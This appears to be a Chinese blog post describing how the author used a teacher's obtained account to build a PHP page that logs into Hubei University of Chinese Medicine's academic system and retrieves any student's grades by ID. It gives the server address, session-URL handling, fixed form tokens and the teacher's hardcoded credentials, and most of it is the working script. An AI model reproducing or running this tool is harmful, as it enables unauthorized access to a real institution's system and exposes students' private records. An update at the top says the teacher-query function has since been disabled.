再次更新:再次失效,服务器更新时,管理员顺手把老师查询学生成绩的功能关闭了。对我来说是无解了。

失效的真正原因是,地址中间那个随机部分会在一定时间后失效。当通过那个随机地址登陆,再次通过那个地址的时候,就无需验证,直接查询即可。

拿到老师的账号密码之后,就开始着手如何在网页实现登陆并查询获取。首先用浏览器模拟一遍:

访问教务处网站: http://218.197.176.41/ 自动转到 http://218.197.176.41/%28nbd10b2xqjfcak55b0xajo45%29/default2.aspx 经过分析中间的应该是随机码,但也不能随意编造,有一定几率报错,但是80%是可以进入的。

查看网页的隐藏参数_VIEWSTATE=dDwtMjEzNzcwMzMxNTs7PtrZFqBAI30z6xuUq3wsAhvo1y38,但是,貌似昨天和今天都是一样的,估计是固定的。

直接在浏览器伪装POST:http://218.197.176.41/%28nbd10b2xqjfcak55b0xajo45%29/default2.aspx?__VIEWSTATE=dDwtMjEzNzcwMzMxNTs7PtrZFqBAI30z6xuUq3wsAhvo1y38&TextBox1=账号&TextBox2=密码&RadioButtonList1=%BD%CC%CA%A6&Button1=+%B5%C7+%C2%BC+ 即可进入主页。

网址跳转到http://218.197.176.41/%28nbd10b2xqjfcak55b0xajo45%29/js_main.aspx?xh=0707004 基本也是固定的。

直接进入查分界面 http://218.197.176.41/%28nbd10b2xqjfcak55b0xajo45%29/js_cxxs.aspx?xh=0707004 基本也是固定的-_-||

再次查看隐藏的_VIEWSTATE=dDwxNDU3NTEzODI5O3Q8O2w8aTwxPjs+O2w8dDw7bDxpPDc+Oz47bDx0PEAwPDs7Ozs7Ozs7Ozs+Ozs+Oz4+Oz4+Oz4x2GR9a1UB08DV2bRf4x4I3Qbz/w==

最后和昨天一样POST__VIEWSTATE=dDwxNDU3NTEzODI5O3Q8O2w8aTwxPjs%2BO2w8dDw7bDxpPDc%2BOz47bDx0PEAwPDs7Ozs7Ozs7Ozs%2BOzs%2BOz4%2BOz4%2BOz4x2GR9a1UB08DV2bRf4x4I3Qbz%2Fw%3D%3D&txt_xh=学号&btn_cx=%B2%E9%D1%AF%D1%A7%C9%FA%D4%DA%D0%A3%B3%C9%BC%A8 就可以获取成绩了

只要在php模拟这一系列操作就可以了,代码如下

<!DOCTYPE html>

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=GBK">
    <title>湖北中医药大学成绩查询</title>
</head>
<body>
    <form action="cxcjnew.php" method="POST">
        请输入学号:
        <input type="text" name="num"/>
        <input type="submit" value="查询"/>
    </form>
    <?php
    /*
    by:xgfan
    */
        if($_POST)
        {
            $num=$_POST["num"];
            if(!preg_match("/^\d*$/",$num))
            {
                echo "请输入数字!";
                exit;
            }
            if(strlen($num)!=11)
            {
                echo "请输入11位学号!";
                exit;
            }
            do{
                $test="00000000000000000000";
                $a=rand(97,122);
                $b=rand(97,122);
                $rd=rand(00,15);//为避免出现无法查询,实行随机查询
                $index="http://218.197.176.41/(".$test.$rd.chr($a).chr($b).")/";
                $loginurl=$index."default2.aspx";
                $info=file_get_contents($loginurl);//获取登陆界面html
                $term='#<title>(.*?)</title>#';
                preg_match($term,$info,$flag);
                if($flag[1]=="现代教学管理信息系统")//能读取标题
                break;//即说明网页能登陆,否则重试到能读取为止
            }while(TRUE);
            //preg_match('#name="__VIEWSTATE" value=(.*?)/>#',$info,$m);
            //获取VIEWSTATE的值,但是尼玛带两个“”
            //$miwen=substr($m[1],1,(strlen($m[1])-3));
            //处理后的登陆界面VIEWSTATE
            $miwen="dDwtMjEzNzcwMzMxNTs7PtrZFqBAI30z6xuUq3wsAhvo1y38";
            $post_string="__VIEWSTATE=".$miwen.
            "&TextBox1=0707004&TextBox2=0707004&RadioButtonList1=%BD%CC%CA%A6&Button1=+%B5%C7+%C2%BC+";
            $mainurl=$loginurl."?".$post_string;//登陆POST的过程
            $info=file_get_contents($mainurl);//获取登陆主页面
            $cxurl=$index."js_cxxs.aspx?xh=0707004";
            $info=file_get_contents($cxurl);//获取查分页面
            //preg_match('#name="__VIEWSTATE" value=(.*?)/>#',$info,$m);
            //$miwen=substr($m[1],1,(strlen($m[1])-3));
            $miwen="dDwxNDU3NTEzODI5O3Q8O2w8aTwxPjs%2BO2w8dDw7bDxpPDc%2BOz47bDx0PEAwPDs7Ozs7Ozs7Ozs%2BOzs%2BOz4%2BOz4%2BOz4x2GR9a1UB08DV2bRf4x4I3Qbz%2Fw%3D%3D";
            $urlfirst = $index."js_cxxs.aspx?xh=0707004&&__VIEWSTATE=".$miwen."&txt_xh=";//URL前段地址
            $urllast = "&btn_cx=%B2%E9%D1%AF%D1%A7%C9%FA%D4%DA%D0%A3%B3%C9%BC%A8";//URL后段地址
            $url=$urlfirst.$num.$urllast;//组合网址
            $info=file_get_contents($url);//获取页面信息
            $p='#<TD align="left" colSpan="4">(.+?)</TD>#s';
            preg_match($p,$info,$m);
            preg_match($term,$info,$n);
            echo $n[1];
            }
        ?>
</body>
</html>

现在这个代码,应该挺占用资源的,如果那位老师不修改密码,应该是不会失效的。近几天来做正规的用学生帐号密码来查询成绩和课表!

成绩查询(新)